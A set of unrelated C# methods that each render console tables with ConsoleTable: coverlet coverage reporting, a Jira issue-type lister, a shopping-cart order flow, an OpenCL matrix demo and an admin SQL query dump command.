public override bool Execute() { try { Console.WriteLine("\nCalculating coverage result..."); var coverage = InstrumentationTask.Coverage; var result = coverage.GetCoverageResult(); var directory = Path.GetDirectoryName(_output); if (!Directory.Exists(directory)) { Directory.CreateDirectory(directory); } var formats = _format.Split(','); foreach (var format in formats) { var reporter = new ReporterFactory(format).CreateReporter(); if (reporter == null) { throw new Exception($"Specified output format '{format}' is not supported"); } var filename = Path.GetFileName(_output); filename = (filename == string.Empty) ? $"coverage.{reporter.Extension}" : filename; filename = Path.HasExtension(filename) ? filename : $"{filename}.{reporter.Extension}"; var report = Path.Combine(directory, filename); Console.WriteLine($" Generating report '{report}'"); File.WriteAllText(report, reporter.Report(result)); } var thresholdFailed = false; var thresholdTypes = _thresholdType.Split(',').Select(t => t.Trim()); var summary = new CoverageSummary(); var exceptionBuilder = new StringBuilder(); var coverageTable = new ConsoleTable("Module", "Line", "Branch", "Method"); var overallLineCoverage = summary.CalculateLineCoverage(result.Modules).Percent * 100; var overallBranchCoverage = summary.CalculateBranchCoverage(result.Modules).Percent * 100; var overallMethodCoverage = summary.CalculateMethodCoverage(result.Modules).Percent * 100; foreach (var module in result.Modules) { var linePercent = summary.CalculateLineCoverage(module.Value).Percent * 100; var branchPercent = summary.CalculateBranchCoverage(module.Value).Percent * 100; var methodPercent = summary.CalculateMethodCoverage(module.Value).Percent * 100; coverageTable.AddRow(Path.GetFileNameWithoutExtension(module.Key), $"{linePercent}%", $"{branchPercent}%", $"{methodPercent}%"); if (_threshold > 0) { if (linePercent < _threshold && thresholdTypes.Contains("line", StringComparer.OrdinalIgnoreCase)) { exceptionBuilder.AppendLine($"'{Path.GetFileNameWithoutExtension(module.Key)}' has a line coverage '{linePercent}%' below specified threshold '{_threshold}%'"); thresholdFailed = true; } if (branchPercent < _threshold && thresholdTypes.Contains("branch", StringComparer.OrdinalIgnoreCase)) { exceptionBuilder.AppendLine($"'{Path.GetFileNameWithoutExtension(module.Key)}' has a branch coverage '{branchPercent}%' below specified threshold '{_threshold}%'"); thresholdFailed = true; } if (methodPercent < _threshold && thresholdTypes.Contains("method", StringComparer.OrdinalIgnoreCase)) { exceptionBuilder.AppendLine($"'{Path.GetFileNameWithoutExtension(module.Key)}' has a method coverage '{methodPercent}%' below specified threshold '{_threshold}%'"); thresholdFailed = true; } } } Console.WriteLine(); Console.WriteLine(coverageTable.ToStringAlternative()); Console.WriteLine($"Total Line: {overallLineCoverage}%"); Console.WriteLine($"Total Branch: {overallBranchCoverage}%"); Console.WriteLine($"Total Method: {overallMethodCoverage}%"); if (thresholdFailed) { throw new Exception(exceptionBuilder.ToString().TrimEnd(Environment.NewLine.ToCharArray())); } } catch (Exception ex) { Log.LogErrorFromException(ex); return(false); } return(true); }
private static void GetIssueTypesForProject() { ConsoleUtil.WriteLine(""); ConsoleUtil.WriteLine("***** PROJECTS *********", ConsoleColor.White, ConsoleColor.DarkBlue, false); var projects = JiraUtil.JiraRepo.GetJira().Projects.GetProjectsAsync().GetAwaiter().GetResult(); List <Project> projectList = new List <Project>(); projectList.AddRange(projects); projectList = projectList.OrderBy(x => x.Key).ToList(); var table = new ConsoleTable("Key", "Name", "Id"); foreach (var p in projectList) { table.AddRow(p.Key, p.Name, p.Id); } table.Write(); ConsoleUtil.WriteLine("***** END PROJECTS *****", ConsoleColor.White, ConsoleColor.DarkBlue, false); ConsoleUtil.WriteLine(""); ConsoleUtil.WriteLine("Would you like to see valid issue types for one or more of the above projects?", ConsoleColor.White, ConsoleColor.DarkMagenta, false); ConsoleUtil.WriteLine("Press 'Y' to Enter 1 or more Project Key, otherwise PRESS ANY KEY TO CONTINUE", ConsoleColor.White, ConsoleColor.DarkMagenta, false); var key = Console.ReadKey(true); if (key.Key == ConsoleKey.Y) { while (true) { ConsoleUtil.WriteLine("Enter 1 or more project keys (listed above) separated by a space (e.g. POS BAM)"); var read = Console.ReadLine(); if (read != null && read.Length > 0) { string[] keys = read.ToUpper().Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries); bool invalid = false; foreach (var k in keys) { if (projectList.Where(y => y.Key != null && y.Key == k).FirstOrDefault() == null) { invalid = true; ConsoleUtil.WriteLine(string.Format("'{0}' is not a valid project. Try again.", k)); ConsoleUtil.PressAnyKeyToContinue(); } } if (!invalid) { foreach (var k in keys) { var issueTypes = JiraUtil.JiraRepo.GetIssueTypes(k).OrderBy(x => x.Name); ConsoleUtil.WriteLine(""); ConsoleUtil.WriteLine(string.Format("***** PROJECT '{0}' ISSUE TYPES *********", k), ConsoleColor.White, ConsoleColor.DarkBlue, false); table = new ConsoleTable("Proj", "Id", "Name", "Description", "IsSubTask"); foreach (var type in issueTypes) { table.AddRow(string.Format("({0})", k), type.Id, type.Name, type.Description, type.IsSubTask); } table.Write(); ConsoleUtil.WriteLine(string.Format("***** END PROJECT '{0}' ISSUE TYPES *****", k), ConsoleColor.White, ConsoleColor.DarkBlue, false); ConsoleUtil.PressAnyKeyToContinue(); } break; } } } } ConsoleUtil.PressAnyKeyToContinue(); }
public void ShowCart() { while (true) { if (File.Exists("shoppingcart" + cusAll.UserName + ".dat")) { List <Items> itemsa = null; Orders or = new Orders(); decimal amount = 0; try { FileStream fs = new FileStream("shoppingcart" + cusAll.UserName + ".dat", FileMode.OpenOrCreate, FileAccess.ReadWrite); BinaryReader br = new BinaryReader(fs); string a = br.ReadString(); itemsa = JsonConvert.DeserializeObject <List <Items> >(a); br.Close(); fs.Close(); } catch (System.Exception) { throw; } var table = new ConsoleTable("ID", "ITEM NAME"); foreach (var itema in itemsa) { table.AddRow(itema.ItemID, itema.ItemName); amount += itema.ItemPrice; } table.Write(); string orde; Console.Write("Do you want create order ? (Y/N):"); orde = checkYN(); if (orde == "Y") { Console.Write("Enter your note: "); string note = Console.ReadLine(); DateTime date = DateTime.Now; or.OrderDate = date; or.Status = "Not yet"; or.Amount = amount; or.CustomerID = cusAll; foreach (var item in itemsa) { or.Items = new List <Items>(); or.Items.Add(itBl.GetItemByItemID(or.ItemID)); // ordersbl.CreateOrder(or); } bool a = true; try { a = ordersbl.CreateOrder(or); } catch (System.Exception) { a = false; Console.WriteLine("\n ☹ Create order faild , press anykey to continue !\n"); Console.ReadKey(); break; } if (a == true) { Console.WriteLine("Create order success ! "); try { // Check if file exists with its full path if (File.Exists(Path.Combine("shoppingcart" + cusAll.UserName + ".dat"))) { // If file found, delete it File.Delete(Path.Combine("shoppingcart" + cusAll.UserName + ".dat")); } else { Console.WriteLine("Cart not found"); } } catch (IOException ioExp) { Console.WriteLine(ioExp.Message); } } else { Console.WriteLine("\n ☹ Create order faild , press anykey to continue !\n"); Console.ReadKey(); break; } } else { break; } } else { Console.WriteLine("\nNo shopping cart yet , press anykey to continue !\n"); Console.ReadKey(); break; } } }
/// <summary> /// This is the asynchronous entrypoint to the application. /// </summary> /// <param name="args">The command line arguments that have been passed to the program.</param> private static async Task MainAsync(string[] args) { // Gets all available platforms and their corresponding devices, and prints them out in a table IEnumerable <Platform> platforms = Platform.GetPlatforms(); ConsoleTable consoleTable = new ConsoleTable("Platform", "OpenCL Version", "Vendor", "Device", "Driver Version", "Bits", "Memory", "Clock Speed", "Available"); foreach (Platform platform in platforms) { foreach (Device device in platform.GetDevices(DeviceType.All)) { consoleTable.AddRow( platform.Name, $"{platform.Version.MajorVersion}.{platform.Version.MinorVersion}", platform.Vendor, device.Name, device.DriverVersion, $"{device.AddressBits} Bit", $"{Math.Round(device.GlobalMemorySize / 1024.0f / 1024.0f / 1024.0f, 2)} GiB", $"{device.MaximumClockFrequency} MHz", device.IsAvailable ? "✔" : "✖"); } } Console.WriteLine("Supported Platforms & Devices:"); consoleTable.Write(Format.Alternative); // Gets the first available platform and selects the first device offered by the platform and prints out the chosen device Device chosenDevice = platforms.FirstOrDefault(p => p.Name.ToLower().Contains("nvidia") /* && p.Version.VersionString.Contains("2.1")*/).GetDevices(DeviceType.Gpu).FirstOrDefault(); Console.WriteLine($"Using: {chosenDevice.Name} ({chosenDevice.Vendor})"); Console.WriteLine(); // Creats a new context for the selected device using (Context context = Context.CreateContext(chosenDevice)) { // Creates the kernel code, which multiplies a matrix with a vector string code = @" __kernel void matvec_mult(__global float4* matrix, __global float4* vector, __global float* result) { int i = get_global_id(0); result[i] = dot(matrix[i], vector[0]); }"; // Creates a program and then the kernel from it using (Program program = await context.CreateAndBuildProgramFromStringAsync(code)) { using (Kernel kernel = program.CreateKernel("matvec_mult")) { // Creates the memory objects for the input arguments of the kernel MemoryBuffer matrixBuffer = context.CreateBuffer(MemoryFlag.ReadOnly | MemoryFlag.CopyHostPointer, new float[] { 0f, 2f, 4f, 6f, 8f, 10f, 12f, 14f, 16f, 18f, 20f, 22f, 24f, 26f, 28f, 30f }); MemoryBuffer vectorBuffer = context.CreateBuffer(MemoryFlag.ReadOnly | MemoryFlag.CopyHostPointer, new float[] { 0f, 3f, 6f, 9f }); MemoryBuffer resultBuffer = context.CreateBuffer <float>(MemoryFlag.WriteOnly, 4); // Tries to execute the kernel try { // Sets the arguments of the kernel kernel.SetKernelArgument(0, matrixBuffer); kernel.SetKernelArgument(1, vectorBuffer); kernel.SetKernelArgument(2, resultBuffer); // Creates a command queue, executes the kernel, and retrieves the result using (CommandQueue commandQueue = CommandQueue.CreateCommandQueue(context, chosenDevice)) { //await commandQueue.EnqueueNDRangeKernelAsync(kernel, 1, 4); //commandQueue.EnqueueNDRangeKernel(kernel, 1, 4); float[] resultArray = commandQueue.EnqueueReadBuffer <float>(resultBuffer, 4); //float[] resultArray = await commandQueue.EnqueueReadBufferAsync<float>(resultBuffer, 4); Console.WriteLine($"Result: ({string.Join(", ", resultArray)})"); } } catch (OpenClException exception) { Console.WriteLine(exception.Message); } // Disposes of the memory objects matrixBuffer.Dispose(); vectorBuffer.Dispose(); resultBuffer.Dispose(); } } } }
static int Main(string[] args) { IServiceCollection serviceCollection = new ServiceCollection(); serviceCollection.AddTransient <IRetryHelper, RetryHelper>(); serviceCollection.AddTransient <IProcessExitHandler, ProcessExitHandler>(); serviceCollection.AddTransient <IFileSystem, FileSystem>(); serviceCollection.AddTransient <ILogger, ConsoleLogger>(); // We need to keep singleton/static semantics serviceCollection.AddSingleton <IInstrumentationHelper, InstrumentationHelper>(); serviceCollection.AddSingleton <ISourceRootTranslator, SourceRootTranslator>(provider => new SourceRootTranslator(provider.GetRequiredService <ILogger>(), provider.GetRequiredService <IFileSystem>())); serviceCollection.AddSingleton <ICecilSymbolHelper, CecilSymbolHelper>(); ServiceProvider serviceProvider = serviceCollection.BuildServiceProvider(); var logger = (ConsoleLogger)serviceProvider.GetService <ILogger>(); var fileSystem = serviceProvider.GetService <IFileSystem>(); var app = new CommandLineApplication { Name = "coverlet", FullName = "Cross platform .NET Core code coverage tool" }; app.HelpOption("-h|--help"); app.VersionOption("-v|--version", GetAssemblyVersion()); int exitCode = (int)CommandExitCodes.Success; CommandArgument moduleOrAppDirectory = app.Argument("<ASSEMBLY|DIRECTORY>", "Path to the test assembly or application directory."); CommandOption target = app.Option("-t|--target", "Path to the test runner application.", CommandOptionType.SingleValue); CommandOption targs = app.Option("-a|--targetargs", "Arguments to be passed to the test runner.", CommandOptionType.SingleValue); CommandOption output = app.Option("-o|--output", "Output of the generated coverage report", CommandOptionType.SingleValue); CommandOption <LogLevel> verbosity = app.Option <LogLevel>("-v|--verbosity", "Sets the verbosity level of the command. Allowed values are quiet, minimal, normal, detailed.", CommandOptionType.SingleValue); CommandOption formats = app.Option("-f|--format", "Format of the generated coverage report.", CommandOptionType.MultipleValue); CommandOption threshold = app.Option("--threshold", "Exits with error if the coverage % is below value.", CommandOptionType.SingleValue); CommandOption thresholdTypes = app.Option("--threshold-type", "Coverage type to apply the threshold to.", CommandOptionType.MultipleValue); CommandOption thresholdStat = app.Option("--threshold-stat", "Coverage statistic used to enforce the threshold value.", CommandOptionType.SingleValue); CommandOption excludeFilters = app.Option("--exclude", "Filter expressions to exclude specific modules and types.", CommandOptionType.MultipleValue); CommandOption includeFilters = app.Option("--include", "Filter expressions to include only specific modules and types.", CommandOptionType.MultipleValue); CommandOption excludedSourceFiles = app.Option("--exclude-by-file", "Glob patterns specifying source files to exclude.", CommandOptionType.MultipleValue); CommandOption includeDirectories = app.Option("--include-directory", "Include directories containing additional assemblies to be instrumented.", CommandOptionType.MultipleValue); CommandOption excludeAttributes = app.Option("--exclude-by-attribute", "Attributes to exclude from code coverage.", CommandOptionType.MultipleValue); CommandOption includeTestAssembly = app.Option("--include-test-assembly", "Specifies whether to report code coverage of the test assembly.", CommandOptionType.NoValue); CommandOption singleHit = app.Option("--single-hit", "Specifies whether to limit code coverage hit reporting to a single hit for each location", CommandOptionType.NoValue); CommandOption skipAutoProp = app.Option("--skipautoprops", "Neither track nor record auto-implemented properties.", CommandOptionType.NoValue); CommandOption mergeWith = app.Option("--merge-with", "Path to existing coverage result to merge.", CommandOptionType.SingleValue); CommandOption useSourceLink = app.Option("--use-source-link", "Specifies whether to use SourceLink URIs in place of file system paths.", CommandOptionType.NoValue); CommandOption doesNotReturnAttributes = app.Option("--does-not-return-attribute", "Attributes that mark methods that do not return.", CommandOptionType.MultipleValue); app.OnExecute(() => { if (string.IsNullOrEmpty(moduleOrAppDirectory.Value) || string.IsNullOrWhiteSpace(moduleOrAppDirectory.Value)) { throw new CommandParsingException(app, "No test assembly or application directory specified."); } if (!target.HasValue()) { throw new CommandParsingException(app, "Target must be specified."); } if (verbosity.HasValue()) { // Adjust log level based on user input. logger.Level = verbosity.ParsedValue; } CoverageParameters parameters = new() { IncludeFilters = includeFilters.Values.ToArray(), IncludeDirectories = includeDirectories.Values.ToArray(), ExcludeFilters = excludeFilters.Values.ToArray(), ExcludedSourceFiles = excludedSourceFiles.Values.ToArray(), ExcludeAttributes = excludeAttributes.Values.ToArray(), IncludeTestAssembly = includeTestAssembly.HasValue(), SingleHit = singleHit.HasValue(), MergeWith = mergeWith.Value(), UseSourceLink = useSourceLink.HasValue(), SkipAutoProps = skipAutoProp.HasValue(), DoesNotReturnAttributes = doesNotReturnAttributes.Values.ToArray() }; ISourceRootTranslator sourceRootTranslator = serviceProvider.GetRequiredService <ISourceRootTranslator>(); Coverage coverage = new(moduleOrAppDirectory.Value, parameters, logger, serviceProvider.GetRequiredService <IInstrumentationHelper>(), fileSystem, sourceRootTranslator, serviceProvider.GetRequiredService <ICecilSymbolHelper>()); coverage.PrepareModules(); Process process = new(); process.StartInfo.FileName = target.Value(); process.StartInfo.Arguments = targs.HasValue() ? targs.Value() : string.Empty; process.StartInfo.CreateNoWindow = true; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.OutputDataReceived += (sender, eventArgs) => { if (!string.IsNullOrEmpty(eventArgs.Data)) { logger.LogInformation(eventArgs.Data, important: true); } }; process.ErrorDataReceived += (sender, eventArgs) => { if (!string.IsNullOrEmpty(eventArgs.Data)) { logger.LogError(eventArgs.Data); } }; process.Start(); process.BeginErrorReadLine(); process.BeginOutputReadLine(); process.WaitForExit(); var dOutput = output.HasValue() ? output.Value() : Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar.ToString(); var dThresholdTypes = thresholdTypes.HasValue() ? thresholdTypes.Values : new List <string>(new string[] { "line", "branch", "method" }); var dThresholdStat = thresholdStat.HasValue() ? Enum.Parse <ThresholdStatistic>(thresholdStat.Value(), true) : Enum.Parse <ThresholdStatistic>("minimum", true); logger.LogInformation("\nCalculating coverage result..."); var result = coverage.GetCoverageResult(); var directory = Path.GetDirectoryName(dOutput); if (directory == string.Empty) { directory = Directory.GetCurrentDirectory(); } else if (!Directory.Exists(directory)) { Directory.CreateDirectory(directory); } foreach (var format in formats.HasValue() ? formats.Values : new List <string>(new string[] { "json" })) { var reporter = new ReporterFactory(format).CreateReporter(); if (reporter == null) { throw new Exception($"Specified output format '{format}' is not supported"); } if (reporter.OutputType == ReporterOutputType.Console) { // Output to console logger.LogInformation(" Outputting results to console", important: true); logger.LogInformation(reporter.Report(result, sourceRootTranslator), important: true); } else { // Output to file var filename = Path.GetFileName(dOutput); filename = (filename == string.Empty) ? $"coverage.{reporter.Extension}" : filename; filename = Path.HasExtension(filename) ? filename : $"{filename}.{reporter.Extension}"; var report = Path.Combine(directory, filename); logger.LogInformation($" Generating report '{report}'", important: true); fileSystem.WriteAllText(report, reporter.Report(result, sourceRootTranslator)); } } var thresholdTypeFlagQueue = new Queue <ThresholdTypeFlags>(); foreach (var thresholdType in dThresholdTypes) { if (thresholdType.Equals("line", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlagQueue.Enqueue(ThresholdTypeFlags.Line); } else if (thresholdType.Equals("branch", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlagQueue.Enqueue(ThresholdTypeFlags.Branch); } else if (thresholdType.Equals("method", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlagQueue.Enqueue(ThresholdTypeFlags.Method); } } Dictionary <ThresholdTypeFlags, double> thresholdTypeFlagValues = new Dictionary <ThresholdTypeFlags, double>(); if (threshold.HasValue() && threshold.Value().Contains(',')) { var thresholdValues = threshold.Value().Split(',', StringSplitOptions.RemoveEmptyEntries).Select(t => t.Trim()); if (thresholdValues.Count() != thresholdTypeFlagQueue.Count()) { throw new Exception($"Threshold type flag count ({thresholdTypeFlagQueue.Count()}) and values count ({thresholdValues.Count()}) doesn't match"); } foreach (var thresholdValue in thresholdValues) { if (double.TryParse(thresholdValue, out var value)) { thresholdTypeFlagValues[thresholdTypeFlagQueue.Dequeue()] = value; } else { throw new Exception($"Invalid threshold value must be numeric"); } } } else { double thresholdValue = threshold.HasValue() ? double.Parse(threshold.Value()) : 0; while (thresholdTypeFlagQueue.Any()) { thresholdTypeFlagValues[thresholdTypeFlagQueue.Dequeue()] = thresholdValue; } } var coverageTable = new ConsoleTable("Module", "Line", "Branch", "Method"); var summary = new CoverageSummary(); var linePercentCalculation = summary.CalculateLineCoverage(result.Modules); var branchPercentCalculation = summary.CalculateBranchCoverage(result.Modules); var methodPercentCalculation = summary.CalculateMethodCoverage(result.Modules); var totalLinePercent = linePercentCalculation.Percent; var totalBranchPercent = branchPercentCalculation.Percent; var totalMethodPercent = methodPercentCalculation.Percent; var averageLinePercent = linePercentCalculation.AverageModulePercent; var averageBranchPercent = branchPercentCalculation.AverageModulePercent; var averageMethodPercent = methodPercentCalculation.AverageModulePercent; foreach (var _module in result.Modules) { var linePercent = summary.CalculateLineCoverage(_module.Value).Percent; var branchPercent = summary.CalculateBranchCoverage(_module.Value).Percent; var methodPercent = summary.CalculateMethodCoverage(_module.Value).Percent; coverageTable.AddRow(Path.GetFileNameWithoutExtension(_module.Key), $"{linePercent}%", $"{branchPercent}%", $"{methodPercent}%"); } logger.LogInformation(coverageTable.ToStringAlternative()); coverageTable.Columns.Clear(); coverageTable.Rows.Clear(); coverageTable.AddColumn(new[] { "", "Line", "Branch", "Method" }); coverageTable.AddRow("Total", $"{totalLinePercent}%", $"{totalBranchPercent}%", $"{totalMethodPercent}%"); coverageTable.AddRow("Average", $"{averageLinePercent}%", $"{averageBranchPercent}%", $"{averageMethodPercent}%"); logger.LogInformation(coverageTable.ToStringAlternative()); if (process.ExitCode > 0) { exitCode += (int)CommandExitCodes.TestFailed; } var thresholdTypeFlags = result.GetThresholdTypesBelowThreshold(summary, thresholdTypeFlagValues, dThresholdStat); if (thresholdTypeFlags != ThresholdTypeFlags.None) { exitCode += (int)CommandExitCodes.CoverageBelowThreshold; var exceptionMessageBuilder = new StringBuilder(); if ((thresholdTypeFlags & ThresholdTypeFlags.Line) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} line coverage is below the specified {thresholdTypeFlagValues[ThresholdTypeFlags.Line]}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Branch) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} branch coverage is below the specified {thresholdTypeFlagValues[ThresholdTypeFlags.Branch]}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Method) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} method coverage is below the specified {thresholdTypeFlagValues[ThresholdTypeFlags.Method]}"); } throw new Exception(exceptionMessageBuilder.ToString()); } return(exitCode); }); try { return(app.Execute(args)); } catch (CommandParsingException ex) { logger.LogError(ex.Message); app.ShowHelp(); return((int)CommandExitCodes.CommandParsingException); } catch (Win32Exception we) when(we.Source == "System.Diagnostics.Process") { logger.LogError($"Start process '{target.Value()}' failed with '{we.Message}'"); return(exitCode > 0 ? exitCode : (int)CommandExitCodes.Exception); } catch (Exception ex) { logger.LogError(ex.Message); return(exitCode > 0 ? exitCode : (int)CommandExitCodes.Exception); } }
public override CmdResult Execute() { if (string.IsNullOrWhiteSpace(Query)) { return CmdResult.Failure("Query is null or empty"); } try { //Fix bug that EEM will cut sting at the equal sign Query = Query.Replace("#", "="); var result = new StringBuilder(); using (var con = new SqlConnection(ConfigUtil.GetAppDBConnStr(DB))) { using (var cmd = con.CreateCommand()) { con.Open(); cmd.CommandText = Query; var reader = cmd.ExecuteReader(); DataTable dt = new DataTable(); dt.Load(reader); if (dt.Rows.Count == 0) { return CmdResult.Failure("Query return no data"); } result.AppendLine("Query Result " +Limit +"/"+ dt.Rows.Count); var ct = new ConsoleTable(); var _ctCol = new List<string>(); foreach (var column in dt.Columns) { _ctCol.Add(column.ToString()); } ct.AddColumn(_ctCol); foreach (DataRow dataRow in dt.Rows) { if (Limit-- <= 0) { break; } ct.AddRow(dataRow.ItemArray); } result.AppendLine(ct.ToString()); result.AppendLine("==================================="); result.AppendLine(Query); result.AppendLine("==================================="); return CmdResult.Success(result.ToString()); } } } catch (Exception ex) { _logger.LogError("Exception while running DumpDBCommand: {0}, {1}", ex.Message, Query); return CmdResult.Failure(ex.Message); } }